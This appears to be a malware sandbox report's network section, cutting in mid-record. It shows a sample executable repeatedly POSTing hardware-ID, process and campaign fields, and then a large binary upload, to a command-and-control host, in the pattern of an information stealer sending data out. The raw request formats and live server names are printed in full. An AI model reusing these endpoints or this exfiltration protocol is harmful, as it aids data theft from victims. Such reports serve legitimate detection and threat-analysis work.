{"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ed4945b4b3618c0-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1451&min_rtt=1442&rtt_var=559&sent=9&recv=17&lost=0&retrans=0&sent_bytes=2852&recv_bytes=13785&delivery_rate=1927392&cwnd=234&unsent_bytes=0&cid=eeb4312a26c2e22b&ts=5668&x=0"
2024-12-05 14:03:30 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-12-05 14:03:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49772	104.21.8.82	443	6936	C:\Users\user\Desktop\b6FArHy7yA.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 14:03:32 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=MC8RBR8HEWBU User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15069 Host: c3.digital-odyssey.shop
2024-12-05 14:03:32 UTC	15069	OUT	Data Raw: 2d 2d 4d 43 38 52 42 52 38 48 45 57 42 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 45 43 43 39 38 30 32 31 33 31 30 44 39 32 32 36 46 35 36 44 33 43 32 43 45 41 37 32 45 43 41 0d 0a 2d 2d 4d 43 38 52 42 52 38 48 45 57 42 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4d 43 38 52 42 52 38 48 45 57 42 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 62 39 64 6b 51 2d 2d 50 75 61 72 6f 0d 0a 2d 2d 4d 43 38 52 42 52 38 48 45 57 42 55 0d 0a Data Ascii: --MC8RBR8HEWBUContent-Disposition: form-data; name="hwid"EECC98021310D9226F56D3C2CEA72ECA--MC8RBR8HEWBUContent-Disposition: form-data; name="pid"2--MC8RBR8HEWBUContent-Disposition: form-data; name="lid"Lb9dkQ--Puaro--MC8RBR8HEWBU
2024-12-05 14:03:37 UTC	1035	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 14:03:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=173hqoqg949lqrn6uv12sv95nk; expires=Mon, 31-Mar-2025 07:50:12 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=i2vcP5u4uwJr%2F%2Bqd4okf6Zo71Ul%2FqB0K%2FOBQ8LCp2G1izXARmK0nzvjJtmFG9%2FXvRFf3m7efZczhP2GOPNVc6TqLUswzgNU8yIfTgZptQC%2FA9CooPpcQCZd47vsOrOPhggeyAMIQPhlh4w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ed4948739cd427f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1789&min_rtt=1787&rtt_var=674&sent=9&recv=19&lost=0&retrans=0&sent_bytes=2850&recv_bytes=16010&delivery_rate=1618625&cwnd=237&unsent_bytes=0&cid=0b2b35a53b5bb270&ts=4967&x=0"
2024-12-05 14:03:37 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-12-05 14:03:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49787	104.21.8.82	443	6936	C:\Users\user\Desktop\b6FArHy7yA.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 14:03:38 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=IX9AS61O User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19903 Host: c3.digital-odyssey.shop
2024-12-05 14:03:38 UTC	15331	OUT	Data Raw: 2d 2d 49 58 39 41 53 36 31 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 45 43 43 39 38 30 32 31 33 31 30 44 39 32 32 36 46 35 36 44 33 43 32 43 45 41 37 32 45 43 41 0d 0a 2d 2d 49 58 39 41 53 36 31 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 49 58 39 41 53 36 31 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 62 39 64 6b 51 2d 2d 50 75 61 72 6f 0d 0a 2d 2d 49 58 39 41 53 36 31 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 Data Ascii: --IX9AS61OContent-Disposition: form-data; name="hwid"EECC98021310D9226F56D3C2CEA72ECA--IX9AS61OContent-Disposition: form-data; name="pid"3--IX9AS61OContent-Disposition: form-data; name="lid"Lb9dkQ--Puaro--IX9AS61OContent-Disposit
2024-12-05 14:03:38 UTC	4572	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8b 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 b1 e8 ef fa 6f c5 82 3f 0c fe 4d 70 35 98 09 ee b9 f1 d3 1b 7f 70 e3 5f de a8 de f8 f4 8d d8 f5 6f 86 49 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bf 02 0e 8d a5 f6 3d 72 d7 62 f5 Data Ascii: 2+?2+?o?Mp5p_oI=rb
2024-12-05 14:03:41 UTC	1026	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 14:03:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=nqlb9ng9pumeh2ds4ki42fabd0; expires=Mon, 31-Mar-2025 07:50:18 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BhaCnyEyMXXCOmFkXDv56XSWn9L9a7pmYWPBbEb08mwz54sqqj1U%2BzSq4uVT0mqrfWRxY13vDtxsxfLx3iEIOfxq5ttbhv2rhgtIvY4RnFgNtNmg6Fkygl4jk6hSLHBtDAnWRrrsZ4Kgog%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ed494af3ddf4291-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1765&min_rtt=1759&rtt_var=672&sent=11&recv=24&lost=0&retrans=0&sent_bytes=2851&recv_bytes=20862&delivery_rate=1613259&cwnd=202&unsent_bytes=0&cid=1e50ba2852525585&ts=2931&x=0"
2024-12-05 14:03:41 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-12-05 14:03:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49798	104.21.8.82	443	6936	C:\Users\user\Desktop\b6FArHy7yA.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 14:03:43 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=ZEZBO9XX User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1182 Host: c3.digital-odyssey.shop
2024-12-05 14:03:43 UTC	1182	OUT	Data Raw: 2d 2d 5a 45 5a 42 4f 39 58 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 45 43 43 39 38 30 32 31 33 31 30 44 39 32 32 36 46 35 36 44 33 43 32 43 45 41 37 32 45 43 41 0d 0a 2d 2d 5a 45 5a 42 4f 39 58 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 5a 45 5a 42 4f 39 58 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 62 39 64 6b 51 2d 2d 50 75 61 72 6f 0d 0a 2d 2d 5a 45 5a 42 4f 39 58 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 Data Ascii: --ZEZBO9XXContent-Disposition: form-data; name="hwid"EECC98021310D9226F56D3C2CEA72ECA--ZEZBO9XXContent-Disposition: form-data; name="pid"1--ZEZBO9XXContent-Disposition: form-data; name="lid"Lb9dkQ--Puaro--ZEZBO9XXContent-Disposit
2024-12-05 14:03:48 UTC	1025	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 14:03:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=4ld71qs6a77jf01dmt9ff2adq3; expires=Mon, 31-Mar-2025 07:50:24 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=I9qjmY8B5xXq5fYDTOBqvmMvbIpVJx83mANrLmJrAxjygKTT%2FMyOLCR7pPE9nTKtqtcwLkzKsTtVeDzsRRDVgusy4H7r2WHW6kXeAcUHGjiEksoOWb0dJxdC8Yo%2BYDIbDKXkkOyoM8qWaQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ed494cd4dbb7c87-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1838&min_rtt=1833&rtt_var=698&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2851&recv_bytes=2096&delivery_rate=1557333&cwnd=199&unsent_bytes=0&cid=20e02ddc54bca96a&ts=5281&x=0"
2024-12-05 14:03:48 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-12-05 14:03:48 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49817	104.21.8.82	443	6936	C:\Users\user\Desktop\b6FArHy7yA.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 14:03:50 UTC	288	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=UN9B23029D9FAMGL User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 572581 Host: c3.digital-odyssey.shop
2024-12-05 14:03:50 UTC	15331	OUT	Data Raw: 2d 2d 55 4e 39 42 32 33 30 32 39 44 39 46 41 4d 47 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 45 43 43 39 38 30 32 31 33 31 30 44 39 32 32 36 46 35 36 44 33 43 32 43 45 41 37 32 45 43 41 0d 0a 2d 2d 55 4e 39 42 32 33 30 32 39 44 39 46 41 4d 47 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 55 4e 39 42 32 33 30 32 39 44 39 46 41 4d 47 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 62 39 64 6b 51 2d 2d 50 75 61 72 6f 0d 0a 2d 2d 55 4e Data Ascii: --UN9B23029D9FAMGLContent-Disposition: form-data; name="hwid"EECC98021310D9226F56D3C2CEA72ECA--UN9B23029D9FAMGLContent-Disposition: form-data; name="pid"1--UN9B23029D9FAMGLContent-Disposition: form-data; name="lid"Lb9dkQ--Puaro--UN
2024-12-05 14:03:50 UTC	15331	OUT	Data Raw: da 0f 2c 8c 33 a2 22 52 c6 c5 9f f0 67 2f 24 1d d4 97 53 df 6a 52 a7 e9 4d 1f 69 37 39 e4 bc ed fe 76 e0 dc bc d8 a8 b7 12 a5 f0 85 2c 26 30 a9 3e 42 f4 87 97 4a b3 fa 01 37 c3 a7 cd a8 8f 06 ca 32 8b 67 87 5b fa 77 38 56 27 8f 67 45 91 ad 8c db fd a4 aa ef 7f 84 45 c5 c4 76 32 15 a2 61 fe 64 5f e6 40 be 99 04 98 90 86 75 c3 3c 33 f9 38 e5 38 d8 67 bb 2a f4 f4 ed ad d5 54 39 f0 1d cb 91 b7 81 bf e3 b8 97 3f c2 e9 34 3e 8e 3f 19 dd a9 0d 33 02 0d 62 21 36 8a 3b 65 b9 79 eb 8b 3c ab 1e 03 82 94 b9 c9 33 a0 c0 32 5e 93 96 63 df 6f 8d 7e 58 39 1b b5 b4 c7 5f fc d2 b4 14 b0 5b be 6d da 31 c6 7d 96 7f f2 60 f0 1b c5 0e dd 76 38 c8 cf 2d f7 76 ed 13 65 64 7e 7a 77 34 07 65 fe 91 c9 03 ee 7b db f5 d1 21 7a fe 4f f9 14 b2 d6 45 01 e6 a1 c6 ae c9 c1 ea 8f b0 59 c8 Data Ascii: ,3"Rg/$SjRMi79v,&0>BJ72g[w8V'gEEv2ad_@u<388g*T9?4>?3b!6;ey<32^co~X9_[m1}`v8-ved~zw4e{!zOEY
2024-12-05 14:03:50 UTC	15331	OUT	Data Raw: 05 a9 53 04 93 bd f2 43 b5 ae d5 0f 55 93 e6 0c dc b7 7f aa 3b af bd 1a 41 74 de 46 65 93 47 10 db 59 bf 6d 73 b0 d4 9a a5 5e fc 15 bd 25 55 b7 b6 50 3a d7 72 bd 62 b7 5d b9 87 e7 74 d4 96 5c 5a be 87 36 75 a6 41 7b ce d0 ea c3 bd 96 05 ed 50 5c 42 0a bf 89 7f 83 bf 8a 53 cd 94 98 05 3c 31 52 81 5a 72 74 af 2d fd 23 b9 08 ac 1d dc 0e 16 60 81 31 f3 f2 a7 24 d2 1c ad de 67 72 ac 4d 1b 2e ec 2e a8 33 72 27 ed d9 15 a7 8d 77 6a a6 86 1f 0b a9 a9 c6 b3 17 43 2e ad d6 3a 0a 62 43 7e 5f 40 24 15 f6 e4 fd ae 16 d3 13 1e 27 76 5e 49 f6 e9 46 eb 89 24 21 6a bd d4 35 e1 84 03 40 a9 8d 51 3d 1c ef d3 19 af f8 9d d7 83 e3 10 f8 81 5f f3 79 97 3d 23 64 5d 65 fb 57 fe 64 08 bb 85 5f d5 1c 62 c5 bf db 34 5d df 74 cd 33 55 29 e7 fc b5 9c 53 d4 7c b2 45 6f e9 cb 72 93 b3 Data Ascii: SCU;AtFeGYms^%UP:rb]t\Z6uA{P\BS<1RZrt-#`1$grM..3r'wjC.:bC~_@$'v^IF$!j5@Q=_y=#d]eWd_b4]t3U)S\|Eor
2024-12-05 14:03:50 UTC	15331	OUT	Data Raw: fd 37 e9 d3 94 34 fc 79 59 9f e9 c0 fe bc 98 fe 25 6f ab 4d 2b 7e a5 c2 17 c2 0c 87 cc fe 01 72 60 f8 e2 f7 b6 df 27 3f 5d bb 49 97 5b 5e f3 c5 57 09 4f 37 88 9c 31 c6 4f b9 b9 0c 6c ba b1 2a f9 b7 93 ff 71 8e e4 b7 77 7d dc 11 a3 1f ad 1b 2f ca 27 0b fa f4 9e 57 cf e2 a5 6c 37 14 35 da 2e b1 e5 e5 9e 34 64 f7 8f 39 b2 9e 1d d5 e5 de 3d aa 5b 1d 96 10 99 eb 4d 9f ab b3 df 2b e6 8f e4 c2 ef cf 67 9d 09 e4 de bf 13 52 5c dc 9d 79 7d 66 47 08 06 31 2a 58 26 6e a8 2f bc 72 60 70 3a 5f a0 07 aa f3 79 a0 48 56 60 a6 a0 83 3d a3 c3 82 f9 d5 c7 26 b0 36 4e 42 9c cd 34 7b a5 45 77 d2 0e 6f b5 98 18 05 22 c3 a3 31 4f be 05 02 9b ab 27 8d 78 a6 95 0b bd 5b 3d 6f bb 1d 62 05 07 09 ff 9e 0d 5e b8 f4 af 87 6f e8 85 6f 50 6c 89 fb 57 85 e0 24 6e 9c 74 88 c4 1f 12 2b 7f Data Ascii: 74yY%oM+~r`'?]I[^WO71Olqw}/'Wl75.4d9=[M+gR\y}fG1X&n/r`p:_yHV`=&6NB4{Ewo"1O'x[=ob^ooPlW$nt+
2024-12-05 14:03:50 UTC	15331	OUT	Data Raw: 41 bb 53 97 21 45 87 b0 e4 ad 98 77 9e b8 3d bf 91 20 4b 4a 1d 56 5c bd 28 77 44 9f b3 31 51 57 bb 52 b2 e3 82 de c4 a5 7d ab ef 6e ea 33 7a d0 51 05 64 4b 5a 9a 59 b8 e7 f7 7c 7f a9 23 f7 4e ed 7b a2 bd d1 5c 2a fc 4b a4 b1 aa 39 82 74 0f 08 3f 30 4a 45 67 03 cb 31 cc 0d 5f 75 e8 f9 7d 74 67 52 83 b7 69 3b cf c8 6b 29 54 69 ec 55 da 6b 19 c2 2a 3f b3 fc 91 25 e7 a2 de f5 b6 d4 b7 55 9f 0c 6b 7a f3 56 fd 5f 06 cc 37 54 0c 64 b8 ef ad 9a 03 19 15 32 9f 98 08 28 3c eb b2 f6 d0 2d 74 ad 97 a1 1a 3b 15 74 1b 2b d5 2e 1d 91 88 be 7b 33 80 28 47 d3 0f 3b 56 72 da 36 e1 4b 72 3e 36 a4 f2 d8 95 01 bb 33 f1 6b bd b5 4f 3f b5 ed bb 53 e8 1b 18 fc 6b 54 fc 64 f3 1d 4d dd 0c 6f db dd 3b 2b 50 f4 af 77 22 3d 99 79 68 1d db 8d 21 59 34 2e ba 1f 55 e3 08 2e 67 79 e7 db Data Ascii: AS!Ew= KJV\(wD1QWR}n3zQdKZY\|#N{\K9t?0JEg1_u}tgRi;k)TiUk?%UkzV_7Td2(<-t;t+.{3(G;Vr6Kr>63kO?SkTdMo;+Pw"=yh!Y4.U.gy
2024-12-05 14:03:50 UTC	15331	OUT	Data Raw: f2 d1 9d 74 18 b6 ee 96 a3 7f 05 30 1c 8a 28 2e 09 0a 3f f8 55 9d 95 78 c8 eb 82 d3 78 ca ac e4 8f f5 ef be 3c 97 bd 36 23 f6 5e 52 57 ab c8 9a 12 6e 3e 3e 43 17 dc b1 71 fe 8f 2e 34 63 04 0f b2 f7 2a 08 fe 3d a4 c0 10 11 7a eb fd 80 d0 9a 7a 1a 22 66 28 ce 2a f5 2d 49 c3 09 cf a7 2c fa a9 c5 02 75 5f fc 5e 0d d9 b8 a2 86 bf c5 e6 97 62 96 98 e9 11 26 79 28 1c e5 88 ac b7 e7 35 4e ba 27 b4 1a e2 8d 7b 9d 9f b0 e0 d4 f8 85 4a fa 47 75 ad e5 da e0 45 57 4f 3f a6 50 8b 10 8a 3e 52 4e 96 88 26 cc 47 93 15 07 af a7 ab b2 bd ad f5 fd 5f a5 0f ba 62 f3 71 78 37 28 a3 78 eb b2 6a 1e 94 0c 12 5b 1d f5 58 f3 a7 c8 59 4c 86 59 f0 04 aa 3d 8c 81 57 89 b8 b7 69 58 39 46 7b be 1f ca 94 4d 64 c9 2c fd 4a ce d5 5b 41 72 43 eb e5 4c 40 a0 0b 0f 07 b6 1f 3e e1 4a cc dd 3e Data Ascii: t0(.?Uxx<6#^RWn>>Cq.4c=zz"f(-I,u_^b&y(5N'{JGuEWO?P>RN&G_bqx7(xj[XYLY=WiX9F{Md,J[ArCL@>J>
2024-12-05 14:03:50 UTC	15331	OUT	Data Raw: 34 07 df db 36 17 09 ed cc c7 33 6a e3 32 7a bf 0e fe b1 7a a9 f3 e2 db ce 02 ff a6 4b 20 94 c4 52 fb 24 34 7e a1 1c c5 44 41 40 62 ed 77 5b 1d 79 a6 65 b6 ee 05 36 fd bb 09 96 a0 a6 51 ed 2d 7e d5 44 97 98 6d 8c fc 62 ba ad 65 bf f7 79 ca 97 e3 35 b5 11 6d d2 3f f4 02 a5 86 ce a3 26 8c dd 5f 4b 12 5e 91 cd b9 6a b2 6d 1f 78 ff 86 57 de 1e 18 30 bd e2 2a bc a0 72 93 59 f0 8d a9 11 19 f9 25 78 60 5a 83 91 20 fc f5 69 b4 f3 6c 75 cc df c3 19 14 ef 9f be 4c b0 28 45 42 eb 3b 6a 90 3f 26 74 98 99 32 e4 5c 7e c6 8f 65 cc 1b 2c ce 17 3c 8c a3 ad 57 17 09 98 18 10 b5 22 a2 e9 e3 15 8a 69 d3 d6 06 cf 2d ab cb 61 62 3e bc 2f 27 2d 7a bd 5a 0a 1a 95 2f ab 09 2a 45 24 06 f7 cf ba 46 74 af 3d bb b6 75 c2 03 36 a4 f2 9b 18 c5 78 1a f5 2d c5 12 60 63 55 11 d4 67 99 11 Data Ascii: 463j2zzK R$4~DA@bw[ye6Q-~Dmbey5m?&_K^jmxW0rY%x`Z iluL(EB;j?&t2\~e,<W"i-ab>/'-zZ/E$Ft=u6x-`cUg
2024-12-05 14:03:50 UTC	15331	OUT	Data Raw: e5 81 e5 6b f3 de 19 19 1d b0 1e 0c f5 50 9c 6c b6 6d f9 f3 4c 9e d3 b0 5e 99 26 f4 11 2c 28 db d3 93 6f 06 08 26 2a 36 98 b9 88 88 dc 53 97 aa cf 12 5a 10 ca 92 a0 17 c0 47 9a 76 d5 57 b2 33 c0 b3 6a 15 ea c1 cf dc 17 20 86 ac 3b 2e 96 e5 c7 2b bc 77 e3 e1 90 de bd d5 99 96 af eb 5f 52 fb ca 9b d2 ed 0f 48 e3 dd cc 79 65 2f ee 17 5f 3c 49 fc b3 35 4e b7 dd 65 a8 49 f5 a2 3e f5 de d5 9e 29 a8 07 86 eb cd d9 2c e5 ca e2 b8 9b c9 a6 4f ad 0c 39 e5 f3 4f 32 79 85 5f ea e6 5f 29 bf e3 8c ff c3 e3 32 58 bb 2e 36 ab 45 d5 9b f1 de 02 f2 e1 16 d2 68 70 55 61 b6 e1 55 ab 0b e8 4f 7e 8b 65 bf 97 97 53 c7 70 ba a7 a5 f6 5f 03 b4 53 ab bc 8d 67 bf a6 a4 09 73 43 80 f6 52 b1 d9 78 f3 0c 56 57 5c dc 77 1a e3 52 f4 45 18 f1 5d d9 91 d5 5c 00 ad 8f 23 d1 72 ea d5 f1 42 Data Ascii: kPlmL^&,(o&*6SZGvW3j ;.+w_RHye/_<I5NeI>),O9O2y__)2X.6EhpUaUO~eSp_SgsCRxVW\wRE]\#rB
2024-12-05 14:03:50 UTC	15331	OUT	Data Raw: 4f 3b 49 45 c5 99 f0 ec 4f c3 10 f4 63 0d 83 4d 3a 09 7b 28 53 86 7e 3b 62 f2 ca b8 6f f1 7b 3d dc 0f 6a 96 e7 3b 14 1f 5b 3d 22 09 5f f0 f6 bb bc a8 73 a6 2a 79 de 12 15 0c 47 05 4d 8b cf cc cb fb b5 23 c8 f5 56 66 a7 88 b2 8f 9b 76 4e da 7b 61 be c9 5d f0 12 dc 29 a6 28 6c 8d e2 3e ff 6e 0f 11 3e 93 c7 b8 0d cb 3d 16 2f 1b 06 7a 31 85 a9 20 dd 8e 44 37 c3 ce d9 0b 5b ec 12 38 a4 81 9d 6b 4e d2 53 55 e9 c6 02 41 96 91 8c c3 63 ba f4 98 7f 8d ca 79 9e c5 87 04 67 d9 d8 e0 56 de e7 1b 96 0b 47 71 e4 6a 49 d0 58 da c6 55 43 d1 ea 07 36 23 0e e5 e5 d3 d3 ac 5d 9d 32 29 03 d8 48 4f 98 9a cd 34 54 1c 08 b3 2d 51 2a 4f 9a fc 86 be 50 e4 e3 5d 54 c6 f9 99 54 ac 23 fc 46 b4 7e 62 e7 b1 96 ac 4b d8 91 81 ff 7f 10 d9 e7 63 4b 0e 48 37 34 df 98 d1 a1 af 0c 74 fb 2e Data Ascii: O;IEOcM:{(S~;bo{=j;[="_syGM#VfvN{a])(l>n>=/z1 D7[8kNSUAcygVGqjIXUC6#]2)HO4T-QOP]TT#F~bKcKH74t.
2024-12-05 14:03:50 UTC	15331	OUT	Data Raw: de 41 3d 26 02 db f8 56 4e 55 7d dc cb 22 76 c4 a8 6e 64 62 60 66 18 28 9f 1a ac 50 a8 a9 0e 11 5b d6 65 c5 ba f3 02 47 a5 79 61 30 3c 5b 1d 7e 5c 9d 58 35 94 e0 99 7d 7a 59 77 74 66 b5 e8 1c 7e 75 2c 62 b1 02 56 5e 42 33 30 90 90 f4 0c 89 59 4e 32 5f 31 7f bf f2 60 53 7f 15 77 b4 5f 59 64 66 38 75 ed 47 a9 fe c6 10 96 55 36 b3 7f 44 f4 7d d5 61 bd 3d 53 bb 6b d9 c7 68 61 a7 cb 2e fb eb d5 ac 3e 8a 60 70 59 fd 4a ef 8b 02 5e 5e a9 f8 fa ba 7a 7a db cc ca e9 c2 c0 97 57 d6 9f 63 68 b5 41 bf 84 30 1e 77 0a a9 ab 6b ce 0b 6f 1d 09 04 c6 a0 08 80 73 08 8c b3 8d e1 5e 07 05 5b 8e 91 e9 d7 50 b0 29 f2 7f 0d 39 56 1e 5d ee 1d 51 fe 31 2a 42 57 af d6 3a fd c1 f8 85 1e 28 a7 2c 2e 61 60 33 eb d8 aa 4d f7 69 0a 99 d3 d8 17 ee 95 66 a2 48 35 c9 3e 69 61 2b 2c 14 67 Data Ascii: A=&VNU}"vndb`f(P[eGya0<[~\X5}zYwtf~u,bV^B30YN2_1`Sw_Ydf8uGU6D}a=Skha.>`pYJ^^zzWchA0wkos^[P)9V]Q1*BW:(,.a`3MifH5>ia+,g
